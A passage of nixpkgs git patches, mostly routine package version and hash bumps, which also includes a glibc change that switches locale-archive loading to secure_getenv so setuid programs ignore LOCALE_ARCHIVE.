-      "doctave-markdown-0.9.0" = "sha256-DDeb91DgLx7vOYHwoDy6+/532q/3/myJUZDqjq7ejJ0=";
-    };
-  };
+  useFetchCargoVendor = true;
+  cargoHash = "sha256-3gyYls1+5eVM3eLlFNmULvIbc5VgoWpfnpO4nmoDMAI=";
 
   meta = {
     description = "Batteries-included developer documentation site generator";

From c29b6234317a86dc6686f65ef417190e1a109434 Mon Sep 17 00:00:00 2001
From: misilelab <misileminecord@gmail.com>
Date: Fri, 16 May 2025 09:20:24 +0900
Subject: [PATCH 0021/4511] sdl3: 3.2.12 -> 3.2.14

https://github.com/libsdl-org/SDL/releases/tag/release-3.2.14

Signed-off-by: misilelab <misileminecord@gmail.com>
(cherry picked from commit ea1ea5efa36e1fd52173380e31d09ada2beed5b7)
---
 pkgs/by-name/sd/sdl3/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/sd/sdl3/package.nix b/pkgs/by-name/sd/sdl3/package.nix
index eb06643b1326..c7712ef91382 100644
--- a/pkgs/by-name/sd/sdl3/package.nix
+++ b/pkgs/by-name/sd/sdl3/package.nix
@@ -56,7 +56,7 @@ assert lib.assertMsg (
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "sdl3";
-  version = "3.2.12";
+  version = "3.2.14";
 
   outputs = [
     "lib"
@@ -68,7 +68,7 @@ stdenv.mkDerivation (finalAttrs: {
     owner = "libsdl-org";
     repo = "SDL";
     tag = "release-${finalAttrs.version}";
-    hash = "sha256-CPCbbVbi0gwSUkaEBOQPJwCU2NN9Lex2Z4hqBfIjn+o=";
+    hash = "sha256-+CcbvF1nxxsVwuO5g50sBVGth0sr5WTFojSfT6B6bok=";
   };
 
   postPatch =

From dcad51fa7ce306dc74ca45048d8721ca064c9072 Mon Sep 17 00:00:00 2001
From: Fabian Affolter <mail@fabian-affolter.ch>
Date: Mon, 7 Apr 2025 10:30:26 +0200
Subject: [PATCH 0022/4511] python313Packages.pysigma: 0.11.19 -> 0.11.20

Diff: https://github.com/SigmaHQ/pySigma/compare/refs/tags/v0.11.19...v0.11.20

Changelog: https://github.com/SigmaHQ/pySigma/releases/tag/v0.11.20
(cherry picked from commit beba1d923f8b0dbf630eb9e303ac1890e10f3f8d)
---
 pkgs/development/python-modules/pysigma/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/pysigma/default.nix b/pkgs/development/python-modules/pysigma/default.nix
index 0b99073fa5ab..9775104a658d 100644
--- a/pkgs/development/python-modules/pysigma/default.nix
+++ b/pkgs/development/python-modules/pysigma/default.nix
@@ -14,7 +14,7 @@
 
 buildPythonPackage rec {
   pname = "pysigma";
-  version = "0.11.19";
+  version = "0.11.20";
   pyproject = true;
 
   disabled = pythonOlder "3.8";
@@ -23,7 +23,7 @@ buildPythonPackage rec {
     owner = "SigmaHQ";
     repo = "pySigma";
     tag = "v${version}";
-    hash = "sha256-Zji0idW4HkZjbZgbfABJ2W145y19a6no4t4oZUvi0Qs=";
+    hash = "sha256-380o8f5tTKalPce569TJ7xeUR7CahNZ+cIWlKv3yN9w=";
   };
 
   pythonRelaxDeps = [

From 0ec059a6da217aaf7921193f9c6123621b32bf3f Mon Sep 17 00:00:00 2001
From: Fabian Affolter <mail@fabian-affolter.ch>
Date: Mon, 19 May 2025 23:59:56 +0200
Subject: [PATCH 0023/4511] python313Packages.pysigma: 0.11.20 -> 0.11.23

Diff: https://github.com/SigmaHQ/pySigma/compare/refs/tags/v0.11.20...refs/tags/v0.11.23

Changelog: https://github.com/SigmaHQ/pySigma/releases/tag/v0.11.23
(cherry picked from commit 71c6d58a25f3169232d157da03feff31ba9a9896)
---
 pkgs/development/python-modules/pysigma/default.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/pysigma/default.nix b/pkgs/development/python-modules/pysigma/default.nix
index 9775104a658d..94cc67a20eff 100644
--- a/pkgs/development/python-modules/pysigma/default.nix
+++ b/pkgs/development/python-modules/pysigma/default.nix
@@ -14,7 +14,7 @@
 
 buildPythonPackage rec {
   pname = "pysigma";
-  version = "0.11.20";
+  version = "0.11.23";
   pyproject = true;
 
   disabled = pythonOlder "3.8";
@@ -23,7 +23,7 @@ buildPythonPackage rec {
     owner = "SigmaHQ";
     repo = "pySigma";
     tag = "v${version}";
-    hash = "sha256-380o8f5tTKalPce569TJ7xeUR7CahNZ+cIWlKv3yN9w=";
+    hash = "sha256-mRDevojeVHgp66RTB90XXeEGP8LYlWCLGmAMv9DW3SA=";
   };
 
   pythonRelaxDeps = [

From 3924faf48569be07965d78c51c24d9da6a7b2b0b Mon Sep 17 00:00:00 2001
From: Fabian Affolter <mail@fabian-affolter.ch>
Date: Tue, 20 May 2025 00:04:24 +0200
Subject: [PATCH 0024/4511] python312Packages.pysigma-backend-sqlite: refactor

(cherry picked from commit 6c9a5c5b1b64a8794d91c896dfb37f0ea0e889bd)
---
 .../python-modules/pysigma-backend-sqlite/default.nix         | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/python-modules/pysigma-backend-sqlite/default.nix b/pkgs/development/python-modules/pysigma-backend-sqlite/default.nix
index 444ae878febe..026feb87169f 100644
--- a/pkgs/development/python-modules/pysigma-backend-sqlite/default.nix
+++ b/pkgs/development/python-modules/pysigma-backend-sqlite/default.nix
@@ -23,9 +23,9 @@ buildPythonPackage rec {
     hash = "sha256-PQByKARf0OOMC9LRTz3XVrFZp6ODSggMJeA6PNK/AuA=";
   };
 
-  nativeBuildInputs = [ poetry-core ];
+  build-system = [ poetry-core ];
 
-  propagatedBuildInputs = [ pysigma ];
+  dependencies = [ pysigma ];
 
   nativeCheckInputs = [
     pytestCheckHook

From ae8a37435ba80110eb829320e1c70f816d71ed92 Mon Sep 17 00:00:00 2001
From: Fabian Affolter <mail@fabian-affolter.ch>
Date: Tue, 20 May 2025 00:18:22 +0200
Subject: [PATCH 0025/4511] python312Packages.pysigma-backend-sqlite: 0.2.0 ->
 0.2.0-unstable-2025-01-21

(cherry picked from commit f0c4e8977e1dedcdeed0519af18045be9562d6c8)
---
 .../python-modules/pysigma-backend-sqlite/default.nix    | 9 +++------
 1 file changed, 3 insertions(+), 6 deletions(-)

diff --git a/pkgs/development/python-modules/pysigma-backend-sqlite/default.nix b/pkgs/development/python-modules/pysigma-backend-sqlite/default.nix
index 026feb87169f..e97709672d1d 100644
--- a/pkgs/development/python-modules/pysigma-backend-sqlite/default.nix
+++ b/pkgs/development/python-modules/pysigma-backend-sqlite/default.nix
@@ -5,22 +5,19 @@
   poetry-core,
   pysigma,
   pytestCheckHook,
-  pythonOlder,
   requests,
 }:
 
 buildPythonPackage rec {
   pname = "pysigma-backend-sqlite";
-  version = "0.2.0";
+  version = "0.2.0-unstable-2025-01-21";
   pyproject = true;
 
-  disabled = pythonOlder "3.8";
-
   src = fetchFromGitHub {
     owner = "SigmaHQ";
     repo = "pySigma-backend-sqlite";
-    tag = "v${version}";
-    hash = "sha256-PQByKARf0OOMC9LRTz3XVrFZp6ODSggMJeA6PNK/AuA=";
+    rev = "865350ce1a398acd7182f6f8429c3048db54ef1d";
+    hash = "sha256-NBgpLP3/UUrW/qM24jUyV4MH5c/uCVAfInZ6AKcl1X0=";
   };
 
   build-system = [ poetry-core ];

From 93c318a345e81f40e6b84e6bfcdcc58d2fedfc62 Mon Sep 17 00:00:00 2001
From: Fabian Affolter <mail@fabian-affolter.ch>
Date: Tue, 20 May 2025 00:25:13 +0200
Subject: [PATCH 0026/4511] python313Packages.pysigma-backend-loki: disable
 out-dated tests

(cherry picked from commit 13d88232f69d798dfd7079c580b833470261fbaa)
---
 .../python-modules/pysigma-backend-loki/default.nix          | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/pkgs/development/python-modules/pysigma-backend-loki/default.nix b/pkgs/development/python-modules/pysigma-backend-loki/default.nix
index 86675b22a6bf..983b4122dba1 100644
--- a/pkgs/development/python-modules/pysigma-backend-loki/default.nix
+++ b/pkgs/development/python-modules/pysigma-backend-loki/default.nix
@@ -29,6 +29,11 @@ buildPythonPackage rec {
 
   pythonImportsCheck = [ "sigma.backends.loki" ];
 
+  disabledTestPaths = [
+    # Tests are out-dated
+    "tests/test_backend_loki_field_modifiers.py"
+  ];
+
   meta = with lib; {
     description = "Library to support the loki backend for pySigma";
     homepage = "https://github.com/grafana/pySigma-backend-loki";

From 30563f0eb61ddb250605d9a5679a59f3dbc60ea9 Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Fri, 16 May 2025 15:06:37 +0200
Subject: [PATCH 0027/4511] glibc: use secure_getenv for loading locale archive

To quote `getenv(3)`:

> The  GNU-specific  secure_getenv()  function  is just like
> getenv() except that it returns NULL in cases where "secure
> execution" is required.

One of these cases is running in setuid mode. In this case, one could
make `sudo` load an arbitrary file as locale archive by modifying the
LOCALE_ARCHIVE env variable accordingly.

After consultation with the security team we came to the conclusion that
this is not exploitable by itself since it'd need another issue that
can be triggered by a maliciously crafted locale archive. Since this is
a valid issue nonetheless[1], I decided to fix it, but go through the
normal PR & staging lifecycle.

This patch also adds another fallback to
`/run/current-system/sw/lib/locale/locale-archive`: otherwise `sudo`
would fail to load any locale archive since that would be in
LOCALE_ARCHIVE/LOCALE_ARCHIVE_2_27 and thus setuid programs would
regress on translated output.

Thank you to Elliot Cameron for reporting this.

[1] glibc's internal environment filtering also prevents setuid
    processes to use certain locale settings from the environment
    such as LOCPATH.

(cherry picked from commit 2f4c74906d9e0d3c32a3a4e1db38f20a2c1501ad)
---
 .../libraries/glibc/nix-locale-archive.patch  | 36 ++++++++++---------
 1 file changed, 20 insertions(+), 16 deletions(-)

diff --git a/pkgs/development/libraries/glibc/nix-locale-archive.patch b/pkgs/development/libraries/glibc/nix-locale-archive.patch
index 9519b5f5fdf5..15d679d3cf2e 100644
--- a/pkgs/development/libraries/glibc/nix-locale-archive.patch
+++ b/pkgs/development/libraries/glibc/nix-locale-archive.patch
@@ -1,8 +1,8 @@
 diff --git a/locale/loadarchive.c b/locale/loadarchive.c
-index 512769eaec..171dbb4ad9 100644
+index 452e3eb6e3..e2016a8aab 100644
 --- a/locale/loadarchive.c
 +++ b/locale/loadarchive.c
-@@ -123,6 +123,23 @@ calculate_head_size (const struct locarhead *h)
+@@ -123,6 +123,25 @@ calculate_head_size (const struct locarhead *h)
    return MAX (namehash_end, MAX (string_end, locrectab_end));
  }
  
@@ -10,13 +10,15 @@ index 512769eaec..171dbb4ad9 100644
 +open_locale_archive (void)
 +{
 +  int fd = -1;
-+  char *versioned_path = getenv ("LOCALE_ARCHIVE_2_27");
-+  char *path = getenv ("LOCALE_ARCHIVE");
++  char *versioned_path = secure_getenv ("LOCALE_ARCHIVE_2_27");
++  char *path = secure_getenv ("LOCALE_ARCHIVE");
 +  if (versioned_path)
 +    fd = __open_nocancel (versioned_path, O_RDONLY|O_LARGEFILE|O_CLOEXEC);
 +  if (path && fd < 0)
 +    fd = __open_nocancel (path, O_RDONLY|O_LARGEFILE|O_CLOEXEC);
 +  if (fd < 0)
++    fd = __open_nocancel("/run/current-system/sw/lib/locale/locale-archive", O_RDONLY|O_LARGEFILE|O_CLOEXEC);
++  if (fd < 0)
 +    fd = __open_nocancel ("/usr/lib/locale/locale-archive", O_RDONLY|O_LARGEFILE|O_CLOEXEC);
 +  if (fd < 0)
 +    fd = __open_nocancel (archfname, O_RDONLY|O_LARGEFILE|O_CLOEXEC);
@@ -26,7 +28,7 @@ index 512769eaec..171dbb4ad9 100644
  
  /* Find the locale *NAMEP in the locale archive, and return the
     internalized data structure for its CATEGORY data.  If this locale has
-@@ -202,7 +219,7 @@ _nl_load_locale_from_archive (int category, const char **namep)
+@@ -202,7 +221,7 @@ _nl_load_locale_from_archive (int category, const char **namep)
        archmapped = &headmap;
  
        /* The archive has never been opened.  */
@@ -35,7 +37,7 @@ index 512769eaec..171dbb4ad9 100644
        if (fd < 0)
  	/* Cannot open the archive, for whatever reason.  */
  	return NULL;
-@@ -397,8 +414,7 @@ _nl_load_locale_from_archive (int category, const char **namep)
+@@ -397,8 +416,7 @@ _nl_load_locale_from_archive (int category, const char **namep)
  	  if (fd == -1)
  	    {
  	      struct __stat64_t64 st;
@@ -46,10 +48,10 @@ index 512769eaec..171dbb4ad9 100644
  		/* Cannot open the archive, for whatever reason.  */
  		return NULL;
 diff --git a/locale/programs/locale.c b/locale/programs/locale.c
-index ca0a95be99..e484783402 100644
+index c7ee1874e8..af20fbac3e 100644
 --- a/locale/programs/locale.c
 +++ b/locale/programs/locale.c
-@@ -633,6 +633,24 @@ nameentcmp (const void *a, const void *b)
+@@ -632,6 +632,26 @@ nameentcmp (const void *a, const void *b)
  }
  
  
@@ -57,13 +59,15 @@ index ca0a95be99..e484783402 100644
 +open_locale_archive (void)
 +{
 +  int fd = -1;
-+  char *versioned_path = getenv ("LOCALE_ARCHIVE_2_27");
-+  char *path = getenv ("LOCALE_ARCHIVE");
++  char *versioned_path = secure_getenv ("LOCALE_ARCHIVE_2_27");
++  char *path = secure_getenv ("LOCALE_ARCHIVE");
 +  if (versioned_path)
 +    fd = open64 (versioned_path, O_RDONLY);
 +  if (path && fd < 0)
 +    fd = open64 (path, O_RDONLY);
 +  if (fd < 0)
++    fd = open64 ("/run/current-system/sw/lib/locale/locale-archive", O_RDONLY|O_LARGEFILE|O_CLOEXEC);
++  if (fd < 0)
 +    fd = open64 ("/usr/lib/locale/locale-archive", O_RDONLY);
 +  if (fd < 0)
 +    fd = open64 (ARCHIVE_NAME, O_RDONLY);
@@ -74,7 +78,7 @@ index ca0a95be99..e484783402 100644
  static int
  write_archive_locales (void **all_datap, char *linebuf)
  {
-@@ -645,7 +663,7 @@ write_archive_locales (void **all_datap, char *linebuf)
+@@ -644,7 +664,7 @@ write_archive_locales (void **all_datap, char *linebuf)
    int fd, ret = 0;
    uint32_t cnt;
  
@@ -84,10 +88,10 @@ index ca0a95be99..e484783402 100644
      return 0;
  
 diff --git a/locale/programs/locarchive.c b/locale/programs/locarchive.c
-index f38e835c52..779a3199fc 100644
+index 8d79a1b6d1..93118c52e3 100644
 --- a/locale/programs/locarchive.c
 +++ b/locale/programs/locarchive.c
-@@ -117,6 +117,22 @@ prepare_address_space (int fd, size_t total, size_t *reserved, int *xflags,
+@@ -116,6 +116,22 @@ prepare_address_space (int fd, size_t total, size_t *reserved, int *xflags,
  }
  
  
@@ -95,8 +99,8 @@ index f38e835c52..779a3199fc 100644
 +open_locale_archive (const char * archivefname, int flags)
 +{
 +  int fd = -1;
-+  char *versioned_path = getenv ("LOCALE_ARCHIVE_2_27");
-+  char *path = getenv ("LOCALE_ARCHIVE");
++  char *versioned_path = secure_getenv ("LOCALE_ARCHIVE_2_27");
++  char *path = secure_getenv ("LOCALE_ARCHIVE");
 +  if (versioned_path)
 +    fd = open64 (versioned_path, flags);
 +  if (path && fd < 0)
@@ -110,7 +114,7 @@ index f38e835c52..779a3199fc 100644
  static void
  create_archive (const char *archivefname, struct locarhandle *ah)
  {
-@@ -578,7 +594,7 @@ open_archive (struct locarhandle *ah, bool readonly)
+@@ -577,7 +593,7 @@ open_archive (struct locarhandle *ah, bool readonly)
    while (1)
      {
        /* Open the archive.  We must have exclusive write access.  */

From 34eff2302915886b22e0eda980dfde097c9548cf Mon Sep 17 00:00:00 2001
From: PerchunPak <git@perchun.it>
Date: Thu, 1 May 2025 19:34:18 +0200
Subject: [PATCH 0028/4511] python3Packages.griffe: 1.6.0 -> 1.7.3

(cherry picked from commit d923e62ef138717e57b0ead1c3316201d2575498)
---
 .../python-modules/griffe/default.nix         | 24 +++++++++----------
 1 file changed, 11 insertions(+), 13 deletions(-)

diff --git a/pkgs/development/python-modules/griffe/default.nix b/pkgs/development/python-modules/griffe/default.nix
index ce2028fc7e4a..5d8a72e80448 100644
--- a/pkgs/development/python-modules/griffe/default.nix
+++ b/pkgs/development/python-modules/griffe/default.nix
@@ -6,32 +6,25 @@
   fetchFromGitHub,
   git,
   jsonschema,
-  mkdocstrings,
   pdm-backend,
   pytestCheckHook,
-  pythonOlder,
 }:
 
 buildPythonPackage rec {
   pname = "griffe";
-  version = "1.6.0";
+  version = "1.7.3";
   pyproject = true;
 
-  disabled = pythonOlder "3.8";
-
   src = fetchFromGitHub {
     owner = "mkdocstrings";
     repo = "griffe";
     tag = version;
-    hash = "sha256-Cs3qJlF1k1cKmbH7bXkn8+XDRC0sZqVdrMPIw0dSWD8=";
+    hash = "sha256-H5bkS8NK96M2W+kH1KijmzVL5Y04KY9xc5Vw5l1lfws=";
   };
 
   build-system = [ pdm-backend ];
 
-  dependencies = [
-    colorama
-    mkdocstrings
-  ];
+  dependencies = [ colorama ];
 
   nativeCheckInputs = [
     git
@@ -45,12 +38,17 @@ buildPythonPackage rec {
 
   pythonImportsCheck = [ "griffe" ];
 
-  meta = with lib; {
+  disabledTestPaths = [
+    # Circular dependencies
+    "tests/test_api.py"
+  ];
+
+  meta = {
     description = "Signatures for entire Python programs";
     homepage = "https://github.com/mkdocstrings/griffe";
     changelog = "https://github.com/mkdocstrings/griffe/blob/${src.tag}/CHANGELOG.md";
-    license = licenses.isc;
-    maintainers = with maintainers; [ fab ];
+    license = lib.licenses.isc;
+    maintainers = with lib.maintainers; [ fab ];
     mainProgram = "griffe";
   };
 }

From fdd4bbb80366ddc165e0d65cd390a16a09525635 Mon Sep 17 00:00:00 2001
From: PerchunPak <git@perchun.it>
Date: Thu, 1 May 2025 19:34:38 +0200
Subject: [PATCH 0029/4511] python3Packages.mkdocs-autorefs: 1.3.1 -> 1.4.1

(cherry picked from commit c1a5068d8e4828cc2191f603e0a9cfb375318ab1)
---
 .../mkdocs-autorefs/default.nix               | 24 +++++++++++--------
 1 file changed, 14 insertions(+), 10 deletions(-)

diff --git a/pkgs/development/python-modules/mkdocs-autorefs/default.nix b/pkgs/development/python-modules/mkdocs-autorefs/default.nix
index 7d9f410ddae6..2a1aa809d38b 100644
--- a/pkgs/development/python-modules/mkdocs-autorefs/default.nix
+++ b/pkgs/development/python-modules/mkdocs-autorefs/default.nix
@@ -3,24 +3,22 @@
   buildPythonPackage,
   fetchFromGitHub,
   markdown,
-  mkdocs,
+  mkdocs-material,
   pytestCheckHook,
   pdm-backend,
-  pythonOlder,
+  markupsafe,
 }:
 
 buildPythonPackage rec {
   pname = "mkdocs-autorefs";
-  version = "1.3.1";
+  version = "1.4.1";
   pyproject = true;
 
-  disabled = pythonOlder "3.9";
-
   src = fetchFromGitHub {
     owner = "mkdocstrings";
     repo = "autorefs";
     tag = version;
-    hash = "sha256-YVkj4D7JK0GOqnGlg5L3uqFsBB5C0OnlXX+wYW4GpkQ=";
+    hash = "sha256-l8COGf4EWDvIQcrf8lQF/TROhp1uCb+mv0CDND3xiUg=";
   };
 
   postPatch = ''
@@ -32,11 +30,17 @@ buildPythonPackage rec {
 
   dependencies = [
     markdown
-    mkdocs
+    markupsafe
+    mkdocs-material
   ];
 
   nativeCheckInputs = [ pytestCheckHook ];
 
+  disabledTestPaths = [
+    # Circular dependencies
+    "tests/test_api.py"
+  ];
+
   disabledTests = [
     # missing pymdownx
     "test_reference_implicit_with_code_inlinehilite_plain"
@@ -45,11 +49,11 @@ buildPythonPackage rec {
 
   pythonImportsCheck = [ "mkdocs_autorefs" ];
 
-  meta = with lib; {
+  meta = {
     description = "Automatically link across pages in MkDocs";
     homepage = "https://github.com/mkdocstrings/autorefs/";
     changelog = "https://github.com/mkdocstrings/autorefs/blob/${src.tag}/CHANGELOG.md";
-    license = licenses.isc;
-    maintainers = with maintainers; [ fab ];
+    license = lib.licenses.isc;
+    maintainers = with lib.maintainers; [ fab ];
   };
 }

From 99daf2bb0addc0b673618455da7284c3ef2eb398 Mon Sep 17 00:00:00 2001
From: PerchunPak <git@perchun.it>
Date: Thu, 1 May 2025 19:34:53 +0200
Subject: [PATCH 0030/4511] python3Packages.mkdocstrings: 0.27.0 -> 0.29.1

(cherry picked from commit 52f7508c527dcdf1a354992902dfa1c6f03d1620)
---
 .../python-modules/mkdocstrings/default.nix   | 22 ++++++++++---------
 1 file changed, 12 insertions(+), 10 deletions(-)

diff --git a/pkgs/development/python-modules/mkdocstrings/default.nix b/pkgs/development/python-modules/mkdocstrings/default.nix
index fe5471f0f9bf..6472e51bb9ed 100644
--- a/pkgs/development/python-modules/mkdocstrings/default.nix
+++ b/pkgs/development/python-modules/mkdocstrings/default.nix
@@ -12,21 +12,19 @@
   pymdown-extensions,
   pytestCheckHook,
   pythonOlder,
-  typing-extensions,
+  dirty-equals,
 }:
 
 buildPythonPackage rec {
   pname = "mkdocstrings";
-  version = "0.27.0";
+  version = "0.29.1";
   pyproject = true;
 
-  disabled = pythonOlder "3.9";
-
   src = fetchFromGitHub {
     owner = "mkdocstrings";
     repo = "mkdocstrings";
     tag = version;
-    hash = "sha256-L86aFq1S7Hfp+1MHwliCSz0mfgAFD/5AHbeqL1aZ5XM=";
+    hash = "sha256-i3rGPKptsFD/IE4vGpWC0HTKoqAtjQ6gkVhZbfYn2bo=";
   };
 
   postPatch = ''
@@ -47,15 +45,18 @@ buildPythonPackage rec {
     ]
     ++ lib.optionals (pythonOlder "3.10") [
       importlib-metadata
-      typing-extensions
     ];
 
-  nativeCheckInputs = [ pytestCheckHook ];
+  nativeCheckInputs = [
+    pytestCheckHook
+    dirty-equals
+  ];
 
   pythonImportsCheck = [ "mkdocstrings" ];
 
   disabledTestPaths = [
     # Circular dependencies
+    "tests/test_api.py"
     "tests/test_extension.py"
   ];
 
@@ -64,13 +65,14 @@ buildPythonPackage rec {
     "test_disabling_plugin"
     # Circular dependency on mkdocstrings-python
     "test_extended_templates"
+    "test_nested_autodoc[ext_markdown0]"
   ];
 
-  meta = with lib; {
+  meta = {
     description = "Automatic documentation from sources for MkDocs";
     homepage = "https://github.com/mkdocstrings/mkdocstrings";
     changelog = "https://github.com/mkdocstrings/mkdocstrings/blob/${version}/CHANGELOG.md";
-    license = licenses.isc;
-    maintainers = with maintainers; [ fab ];
+    license = lib.licenses.isc;
+    maintainers = with lib.maintainers; [ fab ];
   };
 }

From 1b7c8e188be72ff63d043b0d9624629acec095d9 Mon Sep 17 00:00:00 2001
From: PerchunPak <git@perchun.it>
Date: Thu, 1 May 2025 19:34:57 +0200
Subject: [PATCH 0031/4511] python3Packages.mkdocstrings-python: 1.13.0 ->
 1.16.10

(cherry picked from commit 2ac7327362ecd18877d6339ecef27960db68a74c)
---
 .../python-modules/mkdocstrings-python/default.nix  | 13 +++++--------
 1 file changed, 5 insertions(+), 8 deletions(-)

diff --git a/pkgs/development/python-modules/mkdocstrings-python/default.nix b/pkgs/development/python-modules/mkdocstrings-python/default.nix
index dbf84e3b9f4e..cfc8be4f681a 100644
--- a/pkgs/development/python-modules/mkdocstrings-python/default.nix
+++ b/pkgs/development/python-modules/mkdocstrings-python/default.nix
@@ -10,21 +10,18 @@
   mkdocstrings,
   pdm-backend,
   pytestCheckHook,
-  pythonOlder,
 }:
 
 buildPythonPackage rec {
   pname = "mkdocstrings-python";
-  version = "1.13.0";
+  version = "1.16.10";
   pyproject = true;
 
-  disabled = pythonOlder "3.8";
-
   src = fetchFromGitHub {
     owner = "mkdocstrings";
     repo = "python";
     tag = version;
-    hash = "sha256-NgVCKV3AWk4pRT7/+6YGXmKSZETL4ZOWDWGeb/qjdng=";
+    hash = "sha256-HwGo+o78SDo+RM2UxQB4A8OTY5FVuav1TS6J+aVVWdc=";
   };
 
   build-system = [ pdm-backend ];
@@ -51,11 +48,11 @@ buildPythonPackage rec {
     "test_format_code"
   ];
 
-  meta = with lib; {
+  meta = {
     description = "Python handler for mkdocstrings";
     homepage = "https://github.com/mkdocstrings/python";
     changelog = "https://github.com/mkdocstrings/python/blob/${version}/CHANGELOG.md";
-    license = licenses.isc;
-    maintainers = with maintainers; [ fab ];
+    license = lib.licenses.isc;
+    maintainers = with lib.maintainers; [ fab ];
   };
 }

From ea9283a2197d16b651c1715dea7ddb97a4ed64f8 Mon Sep 17 00:00:00 2001
From: PerchunPak <git@perchun.it>
Date: Sun, 18 May 2025 20:53:33 +0200
Subject: [PATCH 0032/4511] python3Packages.llama-index-core: 0.12.35 ->
 0.12.36

(cherry picked from commit dafea017b52389c865332e36b39d5343ddb4874c)
---
 .../python-modules/llama-index-core/default.nix  | 16 ++++++++++------
 1 file changed, 10 insertions(+), 6 deletions(-)

diff --git a/pkgs/development/python-modules/llama-index-core/default.nix b/pkgs/development/python-modules/llama-index-core/default.nix
index b5b77dc0b4d6..3fd53444b66c 100644
--- a/pkgs/development/python-modules/llama-index-core/default.nix
+++ b/pkgs/development/python-modules/llama-index-core/default.nix
@@ -38,7 +38,7 @@
 
 buildPythonPackage rec {
   pname = "llama-index-core";
-  version = "0.12.35";
+  version = "0.12.36";
   pyproject = true;
 
   disabled = pythonOlder "3.8";
@@ -47,7 +47,7 @@ buildPythonPackage rec {
     owner = "run-llama";
     repo = "llama_index";
     tag = "v${version}";
-    hash = "sha256-qBLCuQjkUNER70wJiWH6pEN4D2J9L8emGQukdlWAAYU=";
+    hash = "sha256-Wfugrzn/7Ihv3WQTNx09OaxeMG9sDk/ZVHQcZlKynRw=";
   };
 
   sourceRoot = "${src.name}/${pname}";
@@ -133,13 +133,17 @@ buildPythonPackage rec {
 
   disabledTests = [
     # Tests require network access
+    "test_context_extraction_basic"
+    "test_context_extraction_custom_prompt"
+    "test_context_extraction_oversized_document"
+    "test_document_block_from_b64"
+    "test_document_block_from_bytes"
+    "test_document_block_from_path"
+    "test_document_block_from_url"
     "test_from_namespaced_persist_dir"
     "test_from_persist_dir"
-    "test_context_extraction_basic"
-    "test_context_extraction_oversized_document"
-    "test_context_extraction_custom_prompt"
-    "test_multiple_documents_context"
     "test_mimetype_raw_data"
+    "test_multiple_documents_context"
     # asyncio.exceptions.InvalidStateError: invalid state
     "test_workflow_context_to_dict_mid_run"
     "test_SimpleDirectoryReader"

From 0e882b2291ad826fcd65f28ffa9db61e77de1d8e Mon Sep 17 00:00:00 2001
From: Sergei Trofimovich <slyich@gmail.com>
Date: Thu, 15 May 2025 06:16:07 +0100
Subject: [PATCH 0033/4511] libxmp: 4.6.2 -> 4.6.3

Changes: https://sourceforge.net/p/xmp/libxmp/ci/libxmp-4.6.3/tree/docs/Changelog
(cherry picked from commit 502d9ad1699817cd3fa5c37a977ab5a421c28b46)
---
 pkgs/by-name/li/libxmp/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/li/libxmp/package.nix b/pkgs/by-name/li/libxmp/package.nix
index c5d177117f59..e23be1dd83a3 100644
--- a/pkgs/by-name/li/libxmp/package.nix
+++ b/pkgs/by-name/li/libxmp/package.nix
@@ -10,13 +10,13 @@
 
 stdenv.mkDerivation (finalAttrs: {
   pname = "libxmp";
-  version = "4.6.2";
+  version = "4.6.3";
 
   src = fetchFromGitHub {
     owner = "libxmp";
     repo = "libxmp";
     tag = "libxmp-${finalAttrs.version}";
-    hash = "sha256-AfHathuBmF9OhtTyt8WabZKzFtnAkX1YeiYFF079z80=";
+    hash = "sha256-VTjS5bVu+jiswP4GCTxcAdhtVdtopy4A3hxlzIQlZVU=";
   };
 
   outputs = [

From a203f7213a26d585a9f715b049c208729408c59c Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Tue, 20 May 2025 14:30:04 +0200
Subject: [PATCH 0034/4511] rust-cbindgen: 0.28.0 -> 0.29.0

https://github.com/mozilla/cbindgen/blob/v0.29.0/CHANGES
(cherry picked from commit fdfc65da928f1e0d06002ed1d6cfb21316e7ec6c)
---
 pkgs/by-name/ru/rust-cbindgen/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/ru/rust-cbindgen/package.nix b/pkgs/by-name/ru/rust-cbindgen/package.nix
index a69f3804ecb9..fefed098bc34 100644
--- a/pkgs/by-name/ru/rust-cbindgen/package.nix
+++ b/pkgs/by-name/ru/rust-cbindgen/package.nix
@@ -14,17 +14,17 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "rust-cbindgen";
-  version = "0.28.0";
+  version = "0.29.0";
 
   src = fetchFromGitHub {
     owner = "mozilla";
     repo = "cbindgen";
     rev = "v${version}";
-    hash = "sha256-1GT+EgltLhveEACxhY+748L1HIIyQHbEs7wLKANFWr0=";
+    hash = "sha256-wCl2GpHqF7wKIE8UFyZRY0M1hxonZek2FN6+5x/jGWI=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-k8n3adoqKp/RXkHybCKV2KlVnaoEhM6vF57BqeCDAP4=";
+  cargoHash = "sha256-BErgOnmatxpfF5Ip44WOqnEWOzOJaVP6vfhXPsF9wuc=";
 
   nativeCheckInputs = [
     cmake

From 2823886287b8c4f25d46c0fa8d48aadadbde558c Mon Sep 17 00:00:00 2001
From: Antoine du Hamel <duhamelantoine1995@gmail.com>
Date: Wed, 21 May 2025 17:26:11 +0200
Subject: [PATCH 0035/4511] nodejs_22: 22.15.1 -> 22.16.0

(cherry picked from commit d7211731d89af9d8930fab948a1a372e15119a02)
---
 pkgs/development/web/nodejs/v22.nix | 12 +++++++-----
 1 file changed, 7 insertions(+), 5 deletions(-)

diff --git a/pkgs/development/web/nodejs/v22.nix b/pkgs/development/web/nodejs/v22.nix
index 08aa541282b3..462766a97d27 100644
--- a/pkgs/development/web/nodejs/v22.nix
+++ b/pkgs/development/web/nodejs/v22.nix
@@ -17,8 +17,8 @@ let
 in
 buildNodejs {
   inherit enableNpm;
-  version = "22.15.1";
